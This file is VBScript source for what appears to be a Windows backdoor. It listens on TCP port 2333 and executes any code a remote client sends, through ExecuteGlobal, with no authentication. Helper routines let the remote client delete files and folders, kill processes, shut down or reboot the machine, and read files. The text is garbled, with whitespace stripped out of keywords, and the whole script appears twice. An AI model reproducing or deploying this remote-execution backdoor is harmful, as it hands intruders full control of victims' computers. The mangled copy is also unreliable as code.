PublicSocketObj,ExecObj,ShellObj,WS,FSO
Ifwsh.Arguments.Count<1Then
Port=2333
Else
Port=Int(WScript.Arguments(0))
EndIf
SetSocketObj=WScript.CreateObject("MSWinsock.Winsock","Sock_")
SetWS=CreateObject("wscript.shell")
SetFSO=CreateObject("scripting.filesystemobject")
SocketObj.BindPort
Socketobj.Listen()
Do
WScript.Sleep(1000)
Loop
SubSock_ConnectionRequest(longRequestID)
SocketObj.Close()
SocketObj.AcceptlongRequestID
WScript.Echo("Accept"&socketobj.RemoteHostIP)
socketobj.SendData("["&socketobj.RemoteHostIP&"\"&ws.CurrentDirectory&"$]:")
EndSub
SubSock_Close()
Quit()
EndSub
SubSock_DataArrival(byteLen)
DimData,s
SocketObj.GetDataData,vbString
Run(Data)
socketobj.SendData("["&socketobj.RemoteHostIP&"\"&ws.CurrentDirectory&"$]:")
EndSub
'----------------------------------------------------function-----------------------------------------------------------
FunctionRun(Code)
OnErrorResumeNext
ExecuteGlobal(Code)
IfErr.Number<>0ThenEcho("Error"&Err.Number&"!")
OnErrorGoto0
EndFunction
SubRM(File_Path)
Iffso.FileExists(File_Path)ThenFSO.DeleteFileFile_Path,True
Iffso.FolderExists(File_Path)Thenfso.DeleteFolderFile_Path,True
EndSub
SubWriteFile(FilePath,WriteStr)
IfFSO.FileExists(FilePath)Then
Setfile=FSO.OpenTextFile(FilePath)
Else
Setfile=FSO.CreateTextFile(FilePath)
EndIf
file.Write(WriteStr)
file.Close
EndSub
FunctionCD(ByValPathStr)
PathStr=Trim(PathStr)
IfPathStr=NullThen
CD=WS.CurrentDirectory
ExitFunction
EndIf
IfIsNumeric(PathStr)Then
SelectCasePathStr
Case1
str=ws.CurrentDirectory
str=Left(str,InStrRev(str,"\"))
ws.CurrentDirectory=str
str=Null
Case2
str=Left(ws.CurrentDirectory,1)
ws.CurrentDirectory=str&":\"
str=Null
CaseElse
WSH.Echo("Pathisn'tcorrect.....")
EndSelect
Else
IfFSO.FolderExists(ws.CurrentDirectory&"\"&PathStr)Then
WS.CurrentDirectory=ws.CurrentDirectory&"\"&PathStr
ExitFunction
EndIf
IfFSO.FolderExists(ws.CurrentDirectory&PathStr)Then
WS.CurrentDirectory=ws.CurrentDirectory&PathStr
CD=WS.CurrentDirectory
ExitFunction
EndIf
IfNotfso.FolderExists(PathStr)Then
WScript.Echo("Pathisn'tcorrect.....")
CD=WS.CurrentDirectory
ExitFunction
Else
ws.CurrentDirectory=PathStr
EndIf
EndIf
CD=WS.CurrentDirectory
EndFunction
SubShutdown()
SetobjWMIService=GetObject("winmgmts:"_
&"{impersonationLevel=impersonate,(Shutdown)}!\\.\root\cimv2")
SetcolOperatingSystems=objWMIService.ExecQuery_
("Select*fromWin32_OperatingSystem")
ForEachobjOperatingSystemIncolOperatingSystems
ObjOperatingSystem.ShutDown()
Next
EndSub
SubUsage()
wsh.Echo(wsh.ScriptName&"<PortNum>")
wsh.Echo("MadebyTech_N00b")
Quit()
EndSub
SubReBoot()
SetobjWMIService=GetObject("winmgmts:"_
&"{impersonationLevel=impersonate,(Shutdown)}!\\.\root\cimv2")
OperatingSystems=objWMIService.ExecQuery_
("Select*fromWin32_OperatingSystem")
ForEachobjOperatingSystemIncolOperatingSystems
ObjOperatingSystem.Reboot()
Next
EndSub
SubLS()
SetoFolder=fso.GetFolder(ws.CurrentDirectory)'获取文件夹
SetoSubFolders=oFolder.SubFolders'获取子目录集合
ForEachfolderInoSubFolders
echo("#"&folder&"#")
Next
SetoFiles=oFolder.Files'获取文件集合
ForEachfileInoFiles
Echo(file.Name)
Next
EndSub
FunctionCat(File_Path)
IfNotfso.FileExists(File_Path)ThenExitFunction
Echo(ReadAll(File_Path))
EndFunction
SubCP(FileSpec,destination)
Iffso.FileExists(FileSpec)Then
fso.CopyFileFileSpec,destination
Else
echo("Failed!TheSourcecan'tbefounded")
EndIf
EndSub
FunctionIsProc(ProcessTag)
DimProcesses,Process
IsProc=False
SetProcesses=wmi.ExecQuery("SELECT*FROMWin32_Process",,48)
ForEachProcessInProcesses
IfIsNumeric(Process)Then
IfCStr(Process.ProcessId)=ProcessTagThenIsProc=True
Else
IfProcess.Name=ProcessTagThenIsProc=True
EndIf
Next
EndFunction
FunctionKill(Process)'0:找不到。1:成功了。2:失败了。
IfNotIsNumeric(Process)Then
SetcolItems=wmi.ExecQuery("SELECT*FROMWin32_Processwherename='"&Process&"'",,48)
ForEachobjItemIncolItems
objItem.Terminate()
Next
Else
SetWMI=GetObject("WinMgmts:")
SetObjs=WMI.InstancesOf("Win32_Process")
GetProcess=""
ForEachObjInObjs
IfProcess=Obj.ProcessIdThenObj.Terminate()
Next
EndIf
IfIsProc(Process)ThenKill=2
EndFunction
FunctionPS()'ListoutProcess
SetWMI=GetObject("WinMgmts:")
SetObjs=WMI.InstancesOf("Win32_Process")
GetProcess=""
ForEachObjInObjs
Echo(GetProcess&Obj.Description&Chr(9)&Obj.ProcessId&vbCrLf)
Next
EndFunction
SubEcho(str)
socketobj.SendData(str&vbCrLf)
EndSub
SubQuit()
WScript.Quit
EndSub
FunctionPing(IP,Timeout,size)'Ping(IP,Timeout,size)
SetcolItems=WMI.ExecQuery("Select*FromWin32_PingStatusWhereAddress='"&IP&"'")
ForEachobjItemIncolItems
objItem.Timeout=Int(Timeout)
objItem.BufferSize=Int(size)
Ping=objItem.StatusCode
Next
EndFunction
Ifwsh.Arguments.Count<1Then
Port=2333
Else
Port=Int(WScript.Arguments(0))
EndIf
SetSocketObj=WScript.CreateObject("MSWinsock.Winsock","Sock_")
SetWS=CreateObject("wscript.shell")
SetFSO=CreateObject("scripting.filesystemobject")
SocketObj.BindPort
Socketobj.Listen()
Do
WScript.Sleep(1000)
Loop
SubSock_ConnectionRequest(longRequestID)
SocketObj.Close()
SocketObj.AcceptlongRequestID
WScript.Echo("Accept"&socketobj.RemoteHostIP)
socketobj.SendData("["&socketobj.RemoteHostIP&"\"&ws.CurrentDirectory&"$]:")
EndSub
SubSock_Close()
Quit()
EndSub
SubSock_DataArrival(byteLen)
DimData,s
SocketObj.GetDataData,vbString
Run(Data)
socketobj.SendData("["&socketobj.RemoteHostIP&"\"&ws.CurrentDirectory&"$]:")
EndSub
'----------------------------------------------------function-----------------------------------------------------------
FunctionRun(Code)
OnErrorResumeNext
ExecuteGlobal(Code)
IfErr.Number<>0ThenEcho("Error"&Err.Number&"!")
OnErrorGoto0
EndFunction
SubRM(File_Path)
Iffso.FileExists(File_Path)ThenFSO.DeleteFileFile_Path,True
Iffso.FolderExists(File_Path)Thenfso.DeleteFolderFile_Path,True
EndSub
SubWriteFile(FilePath,WriteStr)
IfFSO.FileExists(FilePath)Then
Setfile=FSO.OpenTextFile(FilePath)
Else
Setfile=FSO.CreateTextFile(FilePath)
EndIf
file.Write(WriteStr)
file.Close
EndSub
FunctionCD(ByValPathStr)
PathStr=Trim(PathStr)
IfPathStr=NullThen
CD=WS.CurrentDirectory
ExitFunction
EndIf
IfIsNumeric(PathStr)Then
SelectCasePathStr
Case1
str=ws.CurrentDirectory
str=Left(str,InStrRev(str,"\"))
ws.CurrentDirectory=str
str=Null
Case2
str=Left(ws.CurrentDirectory,1)
ws.CurrentDirectory=str&":\"
str=Null
CaseElse
WSH.Echo("Pathisn'tcorrect.....")
EndSelect
Else
IfFSO.FolderExists(ws.CurrentDirectory&"\"&PathStr)Then
WS.CurrentDirectory=ws.CurrentDirectory&"\"&PathStr
ExitFunction
EndIf
IfFSO.FolderExists(ws.CurrentDirectory&PathStr)Then
WS.CurrentDirectory=ws.CurrentDirectory&PathStr
CD=WS.CurrentDirectory
ExitFunction
EndIf
IfNotfso.FolderExists(PathStr)Then
WScript.Echo("Pathisn'tcorrect.....")
CD=WS.CurrentDirectory
ExitFunction
Else
ws.CurrentDirectory=PathStr
EndIf
EndIf
CD=WS.CurrentDirectory
EndFunction
SubShutdown()
SetobjWMIService=GetObject("winmgmts:"_
&"{impersonationLevel=impersonate,(Shutdown)}!\\.\root\cimv2")
SetcolOperatingSystems=objWMIService.ExecQuery_
("Select*fromWin32_OperatingSystem")
ForEachobjOperatingSystemIncolOperatingSystems
ObjOperatingSystem.ShutDown()
Next
EndSub
SubUsage()
wsh.Echo(wsh.ScriptName&"<PortNum>")
wsh.Echo("MadebyTech_N00b")
Quit()
EndSub
SubReBoot()
SetobjWMIService=GetObject("winmgmts:"_
&"{impersonationLevel=impersonate,(Shutdown)}!\\.\root\cimv2")
OperatingSystems=objWMIService.ExecQuery_
("Select*fromWin32_OperatingSystem")
ForEachobjOperatingSystemIncolOperatingSystems
ObjOperatingSystem.Reboot()
Next
EndSub
SubLS()
SetoFolder=fso.GetFolder(ws.CurrentDirectory)'获取文件夹
SetoSubFolders=oFolder.SubFolders'获取子目录集合
ForEachfolderInoSubFolders
echo("#"&folder&"#")
Next
SetoFiles=oFolder.Files'获取文件集合
ForEachfileInoFiles
Echo(file.Name)
Next
EndSub
FunctionCat(File_Path)
IfNotfso.FileExists(File_Path)ThenExitFunction
Echo(ReadAll(File_Path))
EndFunction
SubCP(FileSpec,destination)
Iffso.FileExists(FileSpec)Then
fso.CopyFileFileSpec,destination
Else
echo("Failed!TheSourcecan'tbefounded")
EndIf
EndSub
FunctionIsProc(ProcessTag)
DimProcesses,Process
IsProc=False
SetProcesses=wmi.ExecQuery("SELECT*FROMWin32_Process",,48)
ForEachProcessInProcesses
IfIsNumeric(Process)Then
IfCStr(Process.ProcessId)=ProcessTagThenIsProc=True
Else
IfProcess.Name=ProcessTagThenIsProc=True
EndIf
Next
EndFunction
FunctionKill(Process)'0:找不到。1:成功了。2:失败了。
IfNotIsNumeric(Process)Then
SetcolItems=wmi.ExecQuery("SELECT*FROMWin32_Processwherename='"&Process&"'",,48)
ForEachobjItemIncolItems
objItem.Terminate()
Next
Else
SetWMI=GetObject("WinMgmts:")
SetObjs=WMI.InstancesOf("Win32_Process")
GetProcess=""
ForEachObjInObjs
IfProcess=Obj.ProcessIdThenObj.Terminate()
Next
EndIf
IfIsProc(Process)ThenKill=2
EndFunction
FunctionPS()'ListoutProcess
SetWMI=GetObject("WinMgmts:")
SetObjs=WMI.InstancesOf("Win32_Process")
GetProcess=""
ForEachObjInObjs
Echo(GetProcess&Obj.Description&Chr(9)&Obj.ProcessId&vbCrLf)
Next
EndFunction
SubEcho(str)
socketobj.SendData(str&vbCrLf)
EndSub
SubQuit()
WScript.Quit
EndSub
FunctionPing(IP,Timeout,size)'Ping(IP,Timeout,size)
SetcolItems=WMI.ExecQuery("Select*FromWin32_PingStatusWhereAddress='"&IP&"'")
ForEachobjItemIncolItems
objItem.Timeout=Int(Timeout)
objItem.BufferSize=Int(size)
Ping=objItem.StatusCode
Next
EndFunction